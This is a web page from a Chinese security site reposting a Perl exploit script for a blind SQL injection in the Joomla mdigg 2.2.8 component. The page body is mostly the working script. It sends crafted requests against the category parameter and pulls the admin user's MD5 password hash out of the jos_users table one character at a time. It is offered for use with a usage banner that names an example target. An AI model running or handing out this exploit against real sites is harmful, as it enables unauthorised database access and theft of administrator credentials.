首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Joomla Component mdigg 2.2.8 Blind SQL Injection Exploit
来源:www.virangar.net 作者:hadihadi 发布时间:2008-12-29  
#!/usr/bin/perl
####################################################################################
# Joomla Component mdigg 2.2.8 Blind SQL Injection Exploit                         #
#                           ..::virangar security team::..                         #
#                              www.virangar.net                                    #
#C0d3d BY:virangar security team ( hadihadi  )                                     #
#special tnx to:                                                                   #
#MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra                                    #
#& all virangar members & all hackerz                                              #
# my lovely friends hadi_aryaie2004 & arash(imm02tal)                              #
#             ..:::Young Iranian Hackerz::..                                       #
####################################################################################


use HTTP::Request;
use LWP::UserAgent;

if (@ARGV != 1){
header();
exit();
}

$host = $ARGV[0];


print "\n md5 Password:\r\n";
&halghe();
print "\n[+]Done\n";


sub halghe {
for($i = 1; $i <= 32; $i++){
$f = 0;
$n = 48;
while(!$f && $n <= 57)
{
  if(&inject($host, $i, $n,)){
$f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
if(!$f){
$n=97;
while(!$f && $n <= 102)
{
  if(&inject($host, $i, $n,)){
$f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}}
}
}
sub inject {
my $site = $_[0];
my $a = $_[1];
my $b = $_[2];



$col = "password";

$attack= "$site"."?option=com_mdigg&act=story_lists&task=view&category=2/**/and/**/substring((select/**/"."$col"."/**/from/**/jos_users/**/where/**/username/**/like/**/0x61646d696e25/**/limit/**/0,1),"."$a".",1)=char("."$b".")/*";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$attack));
$res = $req->content;

if ($res =~ /read more/i){
    return 1;
}

}
sub header {
print qq{
######################################################################################
# Joomla Component mdigg 2.2.8 Blind SQL Injection Exploit                           #
#                        www.virangar.net                                            #
#                                                                                    #
#   Useage: perl $0 Host                                                             #
#                                                                                    #
#   Host: full patch to index.php (dont forget http://)                              #
#                                                                                    #
#                                                                                    #
# useage Example: perl $0 http://demo15.joomlaapps.com/index.php                     #
#                                                                                    #
######################################################################################
};
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BulletProof FTP Client (.bps F
·Hex Workshop 5.1.4 (Color Mapp
·Joomla Component com_ice 0.5b2
·DeluxeBB <= 1.2 Remote Blind S
·Joomla Component com_liveticke
·Chilkat FTP ActiveX (SaveLastE
·MS Windows Media Player * (.WA
·Amaya Web Browser <= 11.0.1 Re
·Microsoft Internet Explorer XM
·IntelliTamper 2.07/2.08 (MAP F
·Flexphplink Pro Arbitrary File
·Firefox, Internet Explorer, Op
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved